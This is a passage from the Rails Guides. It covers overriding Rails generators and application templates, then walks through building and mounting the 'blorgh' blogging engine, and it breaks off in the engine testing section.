When resolving a generator's name, Rails looks for the generator using multiple file names. For example, when you run bin/rails generate initializer core_extensions, Rails tries to load each of the following files, in order, until one is found:

rails/generators/initializer/initializer_generator.rb

generators/initializer/initializer_generator.rb

rails/generators/initializer_generator.rb

generators/initializer_generator.rb

If none of these are found, an error will be raised.

We put our generator in the application's lib/ directory because that directory is in $LOAD_PATH, thus allowing Rails to find and load the file.

6 Overriding Rails Generator Templates

Rails will also look in multiple places when resolving generator template files. One of those places is the application's lib/templates/ directory. This behavior allows us to override the templates used by Rails' built-in generators. For example, we could override the scaffold controller template or the scaffold view templates.

To see this in action, let's create a lib/templates/erb/scaffold/index.html.erb.tt file with the following contents:

  <%% @<%= plural_table_name %>.count %> <%= human_name.pluralize %>

Note that the template is an ERB template that renders another ERB template. So any <% that should appear in the resulting template must be escaped as <%% in the generator template.

Now let's run Rails' built-in scaffold generator:

  $ bin/rails generate scaffold Post title:string
      ...
      create      app/views/posts/index.html.erb
      ...

The contents of app/views/posts/index.html.erb is:

  <% @posts.count %> Posts

7 Overriding Rails Generators

Rails' built-in generators can be configured via config.generators, including overriding some generators entirely.

First, let's take a closer look at how the scaffold generator works.

  $ bin/rails generate scaffold User name:string
      invoke  active_record
      create    db/migrate/20230518000000_create_users.rb
      create    app/models/user.rb
      invoke    test_unit
      create      test/models/user_test.rb
      create      test/fixtures/users.yml
      invoke  resource_route
       route    resources :users
      invoke  scaffold_controller
      create    app/controllers/users_controller.rb
      invoke    erb
      create      app/views/users
      create      app/views/users/index.html.erb
      create      app/views/users/edit.html.erb
      create      app/views/users/show.html.erb
      create      app/views/users/new.html.erb
      create      app/views/users/_form.html.erb
      create      app/views/users/_user.html.erb
      invoke    resource_route
      invoke    test_unit
      create      test/controllers/users_controller_test.rb
      create      test/system/users_test.rb
      invoke    helper
      create      app/helpers/users_helper.rb
      invoke      test_unit
      invoke    jbuilder
      create      app/views/users/index.json.jbuilder
      create      app/views/users/show.json.jbuilder

From the output, we can see that the scaffold generator invokes other generators, such as the scaffold_controller generator. And some of those generators invoke other generators too. In particular, the scaffold_controller generator invokes several other generators, including the helper generator.

Let's override the built-in helper generator with a new generator. We'll name the generator my_helper:

  $ bin/rails generate generator rails/my_helper
      create  lib/generators/rails/my_helper
      create  lib/generators/rails/my_helper/my_helper_generator.rb
      create  lib/generators/rails/my_helper/USAGE
      create  lib/generators/rails/my_helper/templates
      invoke  test_unit
      create    test/lib/generators/rails/my_helper_generator_test.rb

And in lib/generators/rails/my_helper/my_helper_generator.rb we'll define the generator as:

  class Rails::MyHelperGenerator < Rails::Generators::NamedBase
  def create_helper_file
    create_file "app/helpers/#{file_name}_helper.rb", <<~RUBY
      module #{class_name}Helper
        # I'm helping!
      end
    RUBY
  end
end

Finally, we need to tell Rails to use the my_helper generator instead of the built-in helper generator. For that we use config.generators. In config/application.rb, let's add:

  config.generators do |g|
  g.helper :my_helper
end

Now if we run the scaffold generator again, we see the my_helper generator in action:

  $ bin/rails generate scaffold Article body:text
      ...
      invoke  scaffold_controller
      ...
      invoke    my_helper
      create      app/helpers/articles_helper.rb
      ...

You may notice that the output for the built-in helper generator includes "invoke test_unit", whereas the output for my_helper does not. Although the helper generator does not generate tests by default, it does provide a hook to do so using hook_for. We can do the same by including hook_for :test_framework, as: :helper in the MyHelperGenerator class. See the hook_for documentation for more information.

7.1 Generators Fallbacks

Another way to override specific generators is by using fallbacks. A fallback allows a generator namespace to delegate to another generator namespace.

For example, let's say we want to override the test_unit:model generator with our own my_test_unit:model generator, but we don't want to replace all of the other test_unit:* generators such as test_unit:controller.

First, we create the my_test_unit:model generator in lib/generators/my_test_unit/model/model_generator.rb:

  module MyTestUnit
  class ModelGenerator < Rails::Generators::NamedBase
    source_root File.expand_path("templates", __dir__)

    def do_different_stuff
      say "Doing different stuff..."
    end
  end
end

Next, we use config.generators to configure the test_framework generator as my_test_unit, but we also configure a fallback such that any missing my_test_unit:* generators resolve to test_unit:*:

  config.generators do |g|
  g.test_framework :my_test_unit, fixture: false
  g.fallbacks[:my_test_unit] = :test_unit
end

Now when we run the scaffold generator, we see that my_test_unit has replaced test_unit, but only the model tests have been affected:

  $ bin/rails generate scaffold Comment body:text
      invoke  active_record
      create    db/migrate/20230518000000_create_comments.rb
      create    app/models/comment.rb
      invoke    my_test_unit
    Doing different stuff...
      invoke  resource_route
       route    resources :comments
      invoke  scaffold_controller
      create    app/controllers/comments_controller.rb
      invoke    erb
      create      app/views/comments
      create      app/views/comments/index.html.erb
      create      app/views/comments/edit.html.erb
      create      app/views/comments/show.html.erb
      create      app/views/comments/new.html.erb
      create      app/views/comments/_form.html.erb
      create      app/views/comments/_comment.html.erb
      invoke    resource_route
      invoke    my_test_unit
      create      test/controllers/comments_controller_test.rb
      create      test/system/comments_test.rb
      invoke    helper
      create      app/helpers/comments_helper.rb
      invoke      my_test_unit
      invoke    jbuilder
      create      app/views/comments/index.json.jbuilder
      create      app/views/comments/show.json.jbuilder

8 Application Templates

Application templates are a special kind of generator. They can use all of the generator helper methods, but are written as a Ruby script instead of a Ruby class. Here is an example:

  # template.rb

if yes?("Would you like to install Devise?")
  gem "devise"
  devise_model = ask("What would you like the user model to be called?", default: "User")
end

after_bundle do
  if devise_model
    generate "devise:install"
    generate "devise", devise_model
    rails_command "db:migrate"
  end

  git add: ".", commit: %(-m 'Initial commit')
end

First, the template asks the user whether they would like to install Devise. If the user replies "yes" (or "y"), the template adds Devise to the Gemfile asks the user for the name of the Devise user model (defaulting to User). Later, after bundle install has been run, the template will run the Devise generators and rails db:migrate if a Devise model was specified. Finally, the template will git add and git commit the entire app directory.

We can run our template when generating a new Rails application by passing the -m option to the rails new command:

  $ rails new my_cool_app -m path/to/template.rb

Alternatively, we can run our template inside an existing application with bin/rails app:template:

  $ bin/rails app:template LOCATION=path/to/template.rb

Templates also don't need to be stored locally — you can specify a URL instead of a path:

  $ rails new my_cool_app -m http://example.com/template.rb
$ bin/rails app:template LOCATION=http://example.com/template.rb

9 Generator Helper Methods

Thor provides many generator helper methods via Thor::Actions, such as:

copy_file

create_file

gsub_file

insert_into_file

inside

In addition to those, Rails also provides many helper methods via Rails::Generators::Actions, such as:

environment

gem

generate

git

initializer

lib

rails_command

rake

route

Getting Started with Engines

In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface.

After reading this guide, you will know:

What makes an engine.

How to generate an engine.

How to build features for the engine.

How to hook the engine into an application.

How to override engine functionality in the application.

How to avoid loading Rails frameworks with Load and Configuration Hooks.

Chapters

What are Engines?

Generating an Engine

Inside an Engine

Providing Engine Functionality

Generating an Article Resource

Generating a Comments Resource

Hooking Into an Application

Mounting the Engine

Engine Setup

Using a Class Provided by the Application

Configuring an Engine

Testing an Engine

Functional Tests

Improving Engine Functionality

Overriding Models and Controllers

Autoloading and Engines

Overriding Views

Routes

Assets

Separate Assets and Precompiling

Other Gem Dependencies

Load and Configuration Hooks

Avoid Loading Rails Frameworks

When are Hooks called?

Modifying Code to Use Load Hooks

Available Load Hooks

Available Configuration Hooks

1 What are Engines?

Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the Rails::Application class inheriting a lot of its behavior from Rails::Engine.

Therefore, engines and applications can be thought of as almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.

Engines are also closely related to plugins. The two share a common lib directory structure, and are both generated using the rails plugin new generator. The difference is that an engine is considered a "full plugin" by Rails (as indicated by the --full option that's passed to the generator command). We'll actually be using the --mountable option here, which includes all the features of --full, and then some. This guide will refer to these "full plugins" simply as "engines" throughout. An engine can be a plugin, and a plugin can be an engine.

The engine that will be created in this guide will be called "blorgh". This engine will provide blogging functionality to its host applications, allowing for new articles and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.

Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as articles_path and use an engine that also provides a path also called articles_path, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.

It's important to keep in mind at all times that the application should always take precedence over its engines. An application is the object that has final say in what goes on in its environment. The engine should only be enhancing it, rather than changing it drastically.

To see demonstrations of other engines, check out Devise, an engine that provides authentication for its parent applications, or Thredded, an engine that provides forum functionality. There's also Spree which provides an e-commerce platform, and Refinery CMS, a CMS engine.

Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!

2 Generating an Engine

To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:

  $ rails plugin new blorgh --mountable

The full list of options for the plugin generator may be seen by typing:

  $ rails plugin --help

The --mountable option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the --full option. The --full option tells the generator that you want to create an engine, including a skeleton structure that provides the following:

An app directory tree

A config/routes.rb file:

Rails.application.routes.draw do
end

A file at lib/blorgh/engine.rb, which is identical in function to a standard Rails application's config/application.rb file:

module Blorgh
  class Engine < ::Rails::Engine
  end
end

The --mountable option will add to the --full option:

Asset manifest files (blorgh_manifest.js and application.css)

A namespaced ApplicationController stub

A namespaced ApplicationHelper stub

A layout view template for the engine

Namespace isolation to config/routes.rb:

Blorgh::Engine.routes.draw do
end

Namespace isolation to lib/blorgh/engine.rb:

module Blorgh
  class Engine < ::Rails::Engine
    isolate_namespace Blorgh
  end
end

Additionally, the --mountable option tells the generator to mount the engine inside the dummy testing application located at test/dummy by adding the following to the dummy application's routes file at test/dummy/config/routes.rb:

  mount Blorgh::Engine => "/blorgh"

2.1 Inside an Engine

2.1.1 Critical Files

At the root of this brand new engine's directory lives a blorgh.gemspec file. When you include the engine into an application later on, you will do so with this line in the Rails application's Gemfile:

  gem 'blorgh', path: 'engines/blorgh'

Don't forget to run bundle install as usual. By specifying it as a gem within the Gemfile, Bundler will load it as such, parsing this blorgh.gemspec file and requiring a file within the lib directory called lib/blorgh.rb. This file requires the blorgh/engine.rb file (located at lib/blorgh/engine.rb) and defines a base module called Blorgh.

  require "blorgh/engine"

module Blorgh
end

Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, so if you want to offer configuration options, the file where your engine's module is defined is perfect for that. Place the methods inside the module and you'll be good to go.

Within lib/blorgh/engine.rb is the base class for the engine:

  module Blorgh
  class Engine < ::Rails::Engine
    isolate_namespace Blorgh
  end
end

By inheriting from the Rails::Engine class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the app directory of the engine to the load path for models, mailers, controllers, and views.

The isolate_namespace method here deserves special notice. This call is responsible for isolating the controllers, models, routes, and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts is helpers. Without calling isolate_namespace, the engine's helpers would be included in an application's controllers.

It is highly recommended that the isolate_namespace line be left within the Engine class definition. Without it, classes generated in an engine may conflict with an application.

What this isolation of the namespace means is that a model generated by a call to bin/rails generate model, such as bin/rails generate model article, won't be called Article, but instead be namespaced and called Blorgh::Article. In addition, the table for the model is namespaced, becoming blorgh_articles, rather than simply articles. Similar to the model namespacing, a controller called ArticlesController becomes Blorgh::ArticlesController and the views for that controller will not be at app/views/articles, but app/views/blorgh/articles instead. Mailers, jobs and helpers are namespaced as well.

Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the Routes section of this guide.

2.1.2 app Directory

Inside the app directory are the standard assets, controllers, helpers, jobs, mailers, models, and views directories that you should be familiar with from an application. We'll look more into models in a future section, when we're writing the engine.

Within the app/assets directory, there are the images and stylesheets directories which, again, you should be familiar with due to their similarity to an application. One difference here, however, is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.

Within the app/controllers directory there is a blorgh directory that contains a file called application_controller.rb. This file will provide any common functionality for the controllers of the engine. The blorgh directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.

The ApplicationController class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.

If the parent application runs in classic mode, you may run into a situation where your engine controller is inheriting from the main application controller and not your engine's application controller. The best way to prevent this is to switch to zeitwerk mode in the parent application. Otherwise, use require_dependency to ensure that the engine's application controller is loaded. For example:

  # ONLY NEEDED IN `classic` MODE.
require_dependency "blorgh/application_controller"

module Blorgh
  class ArticlesController < ApplicationController
    # ...
  end
end

Don't use require because it will break the automatic reloading of classes in the development environment - using require_dependency ensures that classes are loaded and unloaded in the correct manner.

Just like for app/controllers, you will find a blorgh subdirectory under the app/helpers, app/jobs, app/mailers and app/models directories containing the associated application_*.rb file for gathering common functionalities. By placing your files under this subdirectory and namespacing your objects, you prevent them from possibly clashing with identically-named elements within other engines or even within the application.

Lastly, the app/views directory contains a layouts folder, which contains a file at blorgh/application.html.erb. This file allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's app/views/layouts/application.html.erb file.

If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.

2.1.3 bin Directory

This directory contains one file, bin/rails, which enables you to use the rails sub-commands and generators just like you would within an application. This means that you will be able to generate new controllers and models for this engine very easily by running commands like this:

  $ bin/rails generate model

Keep in mind, of course, that anything generated with these commands inside of an engine that has isolate_namespace in the Engine class will be namespaced.

2.1.4 test Directory

The test directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at test/dummy. This application will mount the engine in the test/dummy/config/routes.rb file:

  Rails.application.routes.draw do
  mount Blorgh::Engine => "/blorgh"
end

This line mounts the engine at the path /blorgh, which will make it accessible through the application only at that path.

Inside the test directory there is the test/integration directory, where integration tests for the engine should be placed. Other directories can be created in the test directory as well. For example, you may wish to create a test/models directory for your model tests.

3 Providing Engine Functionality

The engine that this guide covers provides submitting articles and commenting functionality and follows a similar thread to the Getting Started Guide, with some new twists.

For this section, make sure to run the commands in the root of the blorgh engine's directory.

3.1 Generating an Article Resource

The first thing to generate for a blog engine is the Article model and related controller. To quickly generate this, you can use the Rails scaffold generator.

  $ bin/rails generate scaffold article title:string text:text

This command will output this information:

  invoke  active_record
create    db/migrate/[timestamp]_create_blorgh_articles.rb
create    app/models/blorgh/article.rb
invoke    test_unit
create      test/models/blorgh/article_test.rb
create      test/fixtures/blorgh/articles.yml
invoke  resource_route
 route    resources :articles
invoke  scaffold_controller
create    app/controllers/blorgh/articles_controller.rb
invoke    erb
create      app/views/blorgh/articles
create      app/views/blorgh/articles/index.html.erb
create      app/views/blorgh/articles/edit.html.erb
create      app/views/blorgh/articles/show.html.erb
create      app/views/blorgh/articles/new.html.erb
create      app/views/blorgh/articles/_form.html.erb
invoke    test_unit
create      test/controllers/blorgh/articles_controller_test.rb
create      test/system/blorgh/articles_test.rb
invoke    helper
create      app/helpers/blorgh/articles_helper.rb
invoke      test_unit

The first thing that the scaffold generator does is invoke the active_record generator, which generates a migration and a model for the resource. Note here, however, that the migration is called create_blorgh_articles rather than the usual create_articles. This is due to the isolate_namespace method called in the Blorgh::Engine class's definition. The model here is also namespaced, being placed at app/models/blorgh/article.rb rather than app/models/article.rb due to the isolate_namespace call within the Engine class.

Next, the test_unit generator is invoked for this model, generating a model test at test/models/blorgh/article_test.rb (rather than test/models/article_test.rb) and a fixture at test/fixtures/blorgh/articles.yml (rather than test/fixtures/articles.yml).

After that, a line for the resource is inserted into the config/routes.rb file for the engine. This line is simply resources :articles, turning the config/routes.rb file for the engine into this:

  Blorgh::Engine.routes.draw do
  resources :articles
end

Note here that the routes are drawn upon the Blorgh::Engine object rather than the YourApp::Application class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the test directory section. It also causes the engine's routes to be isolated from those routes that are within the application. The Routes section of this guide describes it in detail.

Next, the scaffold_controller generator is invoked, generating a controller called Blorgh::ArticlesController (at app/controllers/blorgh/articles_controller.rb) and its related views at app/views/blorgh/articles. This generator also generates tests for the controller (test/controllers/blorgh/articles_controller_test.rb and test/system/blorgh/articles_test.rb) and a helper (app/helpers/blorgh/articles_helper.rb).

Everything this generator has created is neatly namespaced. The controller's class is defined within the Blorgh module:

  module Blorgh
  class ArticlesController < ApplicationController
    # ...
  end
end

The ArticlesController class inherits from Blorgh::ApplicationController, not the application's ApplicationController.

The helper inside app/helpers/blorgh/articles_helper.rb is also namespaced:

  module Blorgh
  module ArticlesHelper
    # ...
  end
end

This helps prevent conflicts with any other engine or application that may have an article resource as well.

You can see what the engine has so far by running bin/rails db:migrate at the root of our engine to run the migration generated by the scaffold generator, and then running bin/rails server in test/dummy. When you open http://localhost:3000/blorgh/articles you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.

If you'd rather play around in the console, bin/rails console will also work just like a Rails application. Remember: the Article model is namespaced, so to reference it you must call it as Blorgh::Article.

  irb> Blorgh::Article.find(1)
=> #<Blorgh::Article id: 1 ...>

One final thing is that the articles resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of articles. This can be made to happen if this line is inserted into the config/routes.rb file inside the engine:

  root to: "articles#index"

Now people will only need to go to the root of the engine to see all the articles, rather than visiting /articles. This means that instead of http://localhost:3000/blorgh/articles, you only need to go to http://localhost:3000/blorgh now.

3.2 Generating a Comments Resource

Now that the engine can create new articles, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller, and then modify the articles scaffold to display comments and allow people to create new ones.

From the engine root, run the model generator. Tell it to generate a Comment model, with the related table having two columns: an article_id integer and text text column.

  $ bin/rails generate model Comment article_id:integer text:text

This will output the following:

  invoke  active_record
create    db/migrate/[timestamp]_create_blorgh_comments.rb
create    app/models/blorgh/comment.rb
invoke    test_unit
create      test/models/blorgh/comment_test.rb
create      test/fixtures/blorgh/comments.yml

This generator call will generate just the necessary model files it needs, namespacing the files under a blorgh directory and creating a model class called Blorgh::Comment. Now run the migration to create our blorgh_comments table:

  $ bin/rails db:migrate

To show the comments on an article, edit app/views/blorgh/articles/show.html.erb and add this line before the "Edit" link:

  <h3>Comments</h3>
<%= render @article.comments %>

This line will require there to be a has_many association for comments defined on the Blorgh::Article model, which there isn't right now. To define one, open app/models/blorgh/article.rb and add this line into the model:

  has_many :comments

Turning the model into this:

  module Blorgh
  class Article < ApplicationRecord
    has_many :comments
  end
end

Because the has_many is defined inside a class that is inside the Blorgh module, Rails will know that you want to use the Blorgh::Comment model for these objects, so there's no need to specify that using the :class_name option here.

Next, there needs to be a form so that comments can be created on an article. To add this, put this line underneath the call to render @article.comments in app/views/blorgh/articles/show.html.erb:

  <%= render "blorgh/comments/form" %>

Next, the partial that this line will render needs to exist. Create a new directory at app/views/blorgh/comments and in it a new file called _form.html.erb which has this content to create the required partial:

  <h3>New comment</h3>
<%= form_with model: [@article, @article.comments.build] do |form| %>
  <p>
    <%= form.label :text %><br>
    <%= form.text_area :text %>
  </p>
  <%= form.submit %>
<% end %>

When this form is submitted, it is going to attempt to perform a POST request to a route of /articles/:article_id/comments within the engine. This route doesn't exist at the moment, but can be created by changing the resources :articles line inside config/routes.rb into these lines:

  resources :articles do
  resources :comments
end

This creates a nested route for the comments, which is what the form requires.

The route now exists, but the controller that this route goes to does not. To create it, run this command from the engine root:

  $ bin/rails generate controller comments

This will generate the following things:

  create  app/controllers/blorgh/comments_controller.rb
invoke  erb
 exist    app/views/blorgh/comments
invoke  test_unit
create    test/controllers/blorgh/comments_controller_test.rb
invoke  helper
create    app/helpers/blorgh/comments_helper.rb
invoke    test_unit

The form will be making a POST request to /articles/:article_id/comments, which will correspond with the create action in Blorgh::CommentsController. This action needs to be created, which can be done by putting the following lines inside the class definition in app/controllers/blorgh/comments_controller.rb:

  def create
  @article = Article.find(params[:article_id])
  @comment = @article.comments.create(comment_params)
  flash[:notice] = "Comment has been created!"
  redirect_to articles_path
end

private
  def comment_params
    params.require(:comment).permit(:text)
  end

This is the final step required to get the new comment form working. Displaying the comments, however, is not quite right yet. If you were to create a comment right now, you would see this error:

  Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder],
:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
"/Users/ryan/Sites/side_projects/blorgh/app/views"

The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (test/dummy) app/views directory and then in the engine's app/views directory. When it can't find it, it will throw this error. The engine knows to look for blorgh/comments/_comment because the model object it is receiving is from the Blorgh::Comment class.

This partial will be responsible for rendering just the comment text, for now. Create a new file at app/views/blorgh/comments/_comment.html.erb and put this line inside it:

  <%= comment_counter + 1 %>. <%= comment.text %>

The comment_counter local variable is given to us by the <%= render @article.comments %> call, which will define it automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.

That completes the comment function of the blogging engine. Now it's time to use it within an application.

4 Hooking Into an Application

Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a User class provided by the application to provide ownership for articles and comments within the engine.

4.1 Mounting the Engine

First, the engine needs to be specified inside the application's Gemfile. If there isn't an application handy to test this out in, generate one using the rails new command outside of the engine directory like this:

  $ rails new unicorn

Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.

  gem 'devise'

However, because you are developing the blorgh engine on your local machine, you will need to specify the :path option in your Gemfile:

  gem 'blorgh', path: 'engines/blorgh'

Then run bundle to install the gem.

As described earlier, by placing the gem in the Gemfile it will be loaded when Rails is loaded. It will first require lib/blorgh.rb from the engine, then lib/blorgh/engine.rb, which is the file that defines the major pieces of functionality for the engine.

To make the engine's functionality accessible from within an application, it needs to be mounted in that application's config/routes.rb file:

  mount Blorgh::Engine, at: "/blog"

This line will mount the engine at /blog in the application. Making it accessible at http://localhost:3000/blog when the application runs with bin/rails server.

Other engines, such as Devise, handle this a little differently by making you specify custom helpers (such as devise_for) in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.

4.2 Engine Setup

The engine contains migrations for the blorgh_articles and blorgh_comments table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application run the following command from the application's root:

  $ bin/rails blorgh:install:migrations

If you have multiple engines that need migrations copied over, use railties:install:migrations instead:

  $ bin/rails railties:install:migrations

This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:

  Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh
Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh

The first timestamp ([timestamp_1]) will be the current time, and the second timestamp ([timestamp_2]) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.

To run these migrations within the context of the application, simply run bin/rails db:migrate. When accessing the engine through http://localhost:3000/blog, the articles will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.

If you would like to run migrations only from one engine, you can do it by specifying SCOPE:

  $ bin/rails db:migrate SCOPE=blorgh

This may be useful if you want to revert engine's migrations before removing it. To revert all migrations from blorgh engine you can run code such as:

  $ bin/rails db:migrate SCOPE=blorgh VERSION=0

4.3 Using a Class Provided by the Application

4.3.1 Using a Model Provided by the Application

When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the blorgh engine, making articles and comments have authors would make a lot of sense.

A typical application might have a User class that would be used to represent authors for an article or a comment. But there could be a case where the application calls this class something different, such as Person. For this reason, the engine should not hardcode associations specifically for a User class.

To keep it simple in this case, the application will have a class called User that represents the users of the application (we'll get into making this configurable further on). It can be generated using this command inside the application:

  $ bin/rails generate model user name:string

The bin/rails db:migrate command needs to be run here to ensure that our application has the users table for future use.

Also, to keep it simple, the articles form will have a new text field called author_name, where users can elect to put their name. The engine will then take this name and either create a new User object from it, or find one that already has that name. The engine will then associate the article with the found or created User object.

First, the author_name text field needs to be added to the app/views/blorgh/articles/_form.html.erb partial inside the engine. This can be added above the title field with this code:

  <div class="field">
  <%= form.label :author_name %><br>
  <%= form.text_field :author_name %>
</div>

Next, we need to update our Blorgh::ArticlesController#article_params method to permit the new form parameter:

  def article_params
  params.require(:article).permit(:title, :text, :author_name)
end

The Blorgh::Article model should then have some code to convert the author_name field into an actual User object and associate it as that article's author before the article is saved. It will also need to have an attr_accessor set up for this field, so that the setter and getter methods are defined for it.

To do all this, you'll need to add the attr_accessor for author_name, the association for the author and the before_validation call into app/models/blorgh/article.rb. The author association will be hard-coded to the User class for the time being.

  attr_accessor :author_name
belongs_to :author, class_name: "User"

before_validation :set_author

private
  def set_author
    self.author = User.find_or_create_by(name: author_name)
  end

By representing the author association's object with the User class, a link is established between the engine and the application. There needs to be a way of associating the records in the blorgh_articles table with the records in the users table. Because the association is called author, there should be an author_id column added to the blorgh_articles table.

To generate this new column, run this command within the engine:

  $ bin/rails generate migration add_author_id_to_blorgh_articles author_id:integer

Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.

This migration will need to be run on the application. To do that, it must first be copied using this command:

  $ bin/rails blorgh:install:migrations

Notice that only one migration was copied over here. This is because the first two migrations were copied over the first time this command was run.

  NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh

Run the migration using:

  $ bin/rails db:migrate

Now with all the pieces in place, an action will take place that will associate an author - represented by a record in the users table - with an article, represented by the blorgh_articles table from the engine.

Finally, the author's name should be displayed on the article's page. Add this code above the "Title" output inside app/views/blorgh/articles/show.html.erb:

  <p>
  <b>Author:</b>
  <%= @article.author.name %>
</p>

4.3.2 Using a Controller Provided by the Application

Because Rails controllers generally share code for things like authentication and accessing session variables, they inherit from ApplicationController by default. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped ApplicationController. This namespace prevents code collisions, but often engine controllers need to access methods in the main application's ApplicationController. An easy way to provide this access is to change the engine's scoped ApplicationController to inherit from the main application's ApplicationController. For our Blorgh engine this would be done by changing app/controllers/blorgh/application_controller.rb to look like:

  module Blorgh
  class ApplicationController < ::ApplicationController
  end
end

By default, the engine's controllers inherit from Blorgh::ApplicationController. So, after making this change they will have access to the main application's ApplicationController, as though they were part of the main application.

This change does require that the engine is run from a Rails application that has an ApplicationController.

4.4 Configuring an Engine

This section covers how to make the User class configurable, followed by general configuration tips for the engine.

4.4.1 Setting Configuration Settings in the Application

The next step is to make the class that represents a User in the application customizable for the engine. This is because that class may not always be User, as previously explained. To make this setting customizable, the engine will have a configuration setting called author_class that will be used to specify which class represents users inside the application.

To define this configuration setting, you should use a mattr_accessor inside the Blorgh module for the engine. Add this line to lib/blorgh.rb inside the engine:

  mattr_accessor :author_class

This method works like its siblings, attr_accessor and cattr_accessor, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using Blorgh.author_class.

The next step is to switch the Blorgh::Article model over to this new setting. Change the belongs_to association inside this model (app/models/blorgh/article.rb) to this:

  belongs_to :author, class_name: Blorgh.author_class

The set_author method in the Blorgh::Article model should also use this class:

  self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)

To save having to call constantize on the author_class result all the time, you could instead just override the author_class getter method inside the Blorgh module in the lib/blorgh.rb file to always call constantize on the saved value before returning the result:

  def self.author_class
  @@author_class.constantize
end

This would then turn the above code for set_author into this:

  self.author = Blorgh.author_class.find_or_create_by(name: author_name)

Resulting in something a little shorter, and more implicit in its behavior. The author_class method should always return a Class object.

Since we changed the author_class method to return a Class instead of a String, we must also modify our belongs_to definition in the Blorgh::Article model:

  belongs_to :author, class_name: Blorgh.author_class.to_s

To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models, which may depend on this configuration setting existing.

Create a new initializer at config/initializers/blorgh.rb inside the application where the blorgh engine is installed and put this content in it:

  Blorgh.author_class = "User"

It's very important here to use the String version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table. This could lead to problems if the table didn't already exist. Therefore, a String should be used and then converted to a class using constantize in the engine later on.

Go ahead and try to create a new article. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in config/initializers/blorgh.rb to learn what the class is.

There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a find_or_create_by method which returns an object of that class, to be associated with an article when it's created. This object, of course, should have some sort of identifier by which it can be referenced.

4.4.2 General Engine Configuration

Within an engine, there may come a time where you wish to use things such as initializers, internationalization, or other configuration options. The great news is that these things are entirely possible, because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!

If you wish to use an initializer - code that should run before the engine is loaded - the place for it is the config/initializers folder. This directory's functionality is explained in the Initializers section of the Configuring guide, and works precisely the same way as the config/initializers directory inside an application. The same thing goes if you want to use a standard initializer.

For locales, simply place the locale files in the config/locales directory, just like you would in an application.

5 Testing an Engine

When an engine is generated, there is a smaller dummy application created inside it at test/dummy. This application is used as a mounting point for the engine, to make testing the engine extremely simple. You may extend this application by generating controllers, models, or views from within the directory, and then use those to test your engine.

The test directory should be treated like a typical Rails testing environment, allowing for unit, functional, and integration tests.

5.1 Functional Tests

A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application - the test/dummy application - rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical GET to a controller in a controller's functional test like this:

  module Blorgh
  class FooControllerTest < ActionDispatch::IntegrationTest
